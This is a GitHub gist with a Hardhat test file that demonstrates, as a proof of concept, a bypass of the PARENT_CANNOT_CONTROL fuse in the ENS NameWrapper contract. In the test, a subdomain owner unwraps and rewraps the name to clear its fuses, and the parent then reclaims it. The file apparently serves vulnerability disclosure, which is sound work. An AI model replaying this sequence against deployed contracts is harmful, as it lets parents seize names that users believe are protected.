-
-
Save panprog/71dea0fd1875b4d7d5849f7da822ea8b to your computer and use it in GitHub Desktop.
Bypass PCC check PoC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const packet = require('dns-packet') | |
const fs = require('fs') | |
const { ethers } = require('hardhat') | |
const { utils, BigNumber: BN } = ethers | |
const { use, expect } = require('chai') | |
const { solidity } = require('ethereum-waffle') | |
const n = require('eth-ens-namehash') | |
const namehash = n.hash | |
const { shouldBehaveLikeERC1155 } = require('./ERC1155.behaviour') | |
const { shouldSupportInterfaces } = require('./SupportsInterface.behaviour') | |
const { ZERO_ADDRESS } = require('@openzeppelin/test-helpers/src/constants') | |
const { deploy } = require('../test-utils/contracts') | |
const { keccak256 } = require('ethers/lib/utils') | |
const { encode } = require('punycode') | |
const TestNameWrapperReentracy = artifacts.require("TestNameWrapperReentrancy"); | |
const abiCoder = new ethers.utils.AbiCoder() | |
use(solidity) | |
const labelhash = (label) => utils.keccak256(utils.toUtf8Bytes(label)) | |
const ROOT_NODE = | |
'0x0000000000000000000000000000000000000000000000000000000000000000' | |
const EMPTY_BYTES32 = | |
'0x0000000000000000000000000000000000000000000000000000000000000000' | |
const EMPTY_ADDRESS = '0x0000000000000000000000000000000000000000' | |
const DUMMY_ADDRESS = '0x0000000000000000000000000000000000000001' | |
function increaseTime(delay) { | |
return ethers.provider.send('evm_increaseTime', [delay]) | |
} | |
function mine() { | |
return ethers.provider.send('evm_mine') | |
} | |
function encodeName(name) { | |
return '0x' + packet.name.encode(name).toString('hex') | |
} | |
const CANNOT_UNWRAP = 1 | |
const CANNOT_BURN_FUSES = 2 | |
const CANNOT_TRANSFER = 4 | |
const CANNOT_SET_RESOLVER = 8 | |
const CANNOT_SET_TTL = 16 | |
const CANNOT_CREATE_SUBDOMAIN = 32 | |
const PARENT_CANNOT_CONTROL = 64 | |
const CAN_DO_EVERYTHING = 0 | |
//Enum for vulnerabilities | |
const ParentVulnerability = { | |
Safe: 0, | |
Registrant: 1, | |
Controller: 2, | |
Fuses: 3, | |
Expired: 4, | |
} | |
describe('Name Wrapper', () => { | |
let ENSRegistry | |
let ENSRegistry2 | |
let BaseRegistrar | |
let BaseRegistrar2 | |
let NameWrapper | |
let NameWrapper2 | |
let NameWrapperUpgraded | |
let MetaDataservice | |
let signers | |
let accounts | |
let account | |
let account2 | |
let result | |
let MAX_EXPIRY = 2n ** 64n - 1n | |
/* Utility funcs */ | |
async function registerSetupAndWrapName(label, account, fuses, expiry = 0) { | |
const tokenId = labelhash(label) | |
await BaseRegistrar.register(tokenId, account, 84600) | |
await BaseRegistrar.setApprovalForAll(NameWrapper.address, true) | |
await NameWrapper.wrapETH2LD(label, account, fuses, expiry, EMPTY_ADDRESS) | |
} | |
before(async () => { | |
signers = await ethers.getSigners() | |
account = await signers[0].getAddress() | |
account2 = await signers[1].getAddress() | |
EnsRegistry = await deploy('ENSRegistry') | |
EnsRegistry2 = EnsRegistry.connect(signers[1]) | |
BaseRegistrar = await deploy( | |
'BaseRegistrarImplementation', | |
EnsRegistry.address, | |
namehash('eth') | |
) | |
BaseRegistrar2 = BaseRegistrar.connect(signers[1]) | |
await BaseRegistrar.addController(account) | |
await BaseRegistrar.addController(account2) | |
MetaDataservice = await deploy( | |
'StaticMetadataService', | |
'https://ens.domains' | |
) | |
NameWrapper = await deploy( | |
'NameWrapper', | |
EnsRegistry.address, | |
BaseRegistrar.address, | |
MetaDataservice.address | |
) | |
NameWrapper2 = NameWrapper.connect(signers[1]) | |
NameWrapperUpgraded = await deploy( | |
'UpgradedNameWrapperMock', | |
NameWrapper.address, | |
EnsRegistry.address, | |
BaseRegistrar.address | |
) | |
// setup .eth | |
await EnsRegistry.setSubnodeOwner( | |
ROOT_NODE, | |
labelhash('eth'), | |
BaseRegistrar.address | |
) | |
// setup .xyz | |
await EnsRegistry.setSubnodeOwner(ROOT_NODE, labelhash('xyz'), account) | |
//make sure base registrar is owner of eth TLD | |
expect(await EnsRegistry.owner(namehash('eth'))).to.equal( | |
BaseRegistrar.address | |
) | |
}) | |
beforeEach(async () => { | |
result = await ethers.provider.send('evm_snapshot') | |
}) | |
afterEach(async () => { | |
await ethers.provider.send('evm_revert', [result]) | |
}) | |
describe('NameWrapper', () => { | |
it('BypassPCC', async () => { | |
await BaseRegistrar.setApprovalForAll(NameWrapper.address, true) | |
await EnsRegistry.setApprovalForAll(NameWrapper.address, true) | |
await EnsRegistry.connect(signers[1]).setApprovalForAll(NameWrapper.address, true) | |
await BaseRegistrar.register(labelhash('test'), account, 84600) | |
await NameWrapper.wrapETH2LD( | |
'test', | |
account, | |
CANNOT_UNWRAP, | |
MAX_EXPIRY, | |
EMPTY_ADDRESS | |
) | |
// Alice creates subdomain for Bob, burning PARENT_CANNOT_CONTROL | |
await NameWrapper.setSubnodeOwner(namehash('test.eth'), 'bob', account2, PARENT_CANNOT_CONTROL, MAX_EXPIRY) | |
expect(await NameWrapper.ownerOf(namehash('bob.test.eth'))).to.equal(account2) | |
;[fuses, expiry] = await NameWrapper.getFuses(namehash("bob.test.eth")) | |
const expectedExpiry = ( | |
await BaseRegistrar.nameExpires(labelhash('test')) | |
).toNumber() | |
expect(fuses).to.equal(PARENT_CANNOT_CONTROL) | |
expect(expiry).to.equal(expectedExpiry) | |
// at this point according to: | |
// 15. Calling getData on a name and checking that | |
// a. The expiration timestamp is in the future, and | |
// b. The required fuse is burned, | |
// should be sufficient to establish that that operation is not possible on that name through | |
// any sequence of operations prior to the expiration timestamp. | |
// | |
// Both a. and b. checks, which means that since PARENT_CANNOT_CONTROL is burnt, no sequence of operations | |
// should make parent possible to regain control. | |
// Bob unwraps domain to himself | |
await NameWrapper.connect(signers[1]).unwrap(namehash('test.eth'), labelhash('bob'), account2) | |
// then wraps it again, clearing any fuses in the process | |
await NameWrapper.connect(signers[1]).wrap(encodeName('bob.test.eth'), account2, EMPTY_ADDRESS) | |
;[fuses, expiry] = await NameWrapper.getFuses(namehash("bob.test.eth")) | |
// fuses and expiration is now cleared | |
expect(fuses).to.equal(0) | |
expect(expiry).to.equal(0) | |
// at this point Alice can regain control of the domain by setting owner to herself | |
await NameWrapper.setSubnodeOwner(namehash('test.eth'), 'bob', account, 0, 0) | |
// This sequence of operations led to Alice regaining control of the domain thus failing 15. | |
expect(await NameWrapper.ownerOf(namehash('bob.test.eth'))).to.equal(account) | |
}) | |
}) | |
}) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment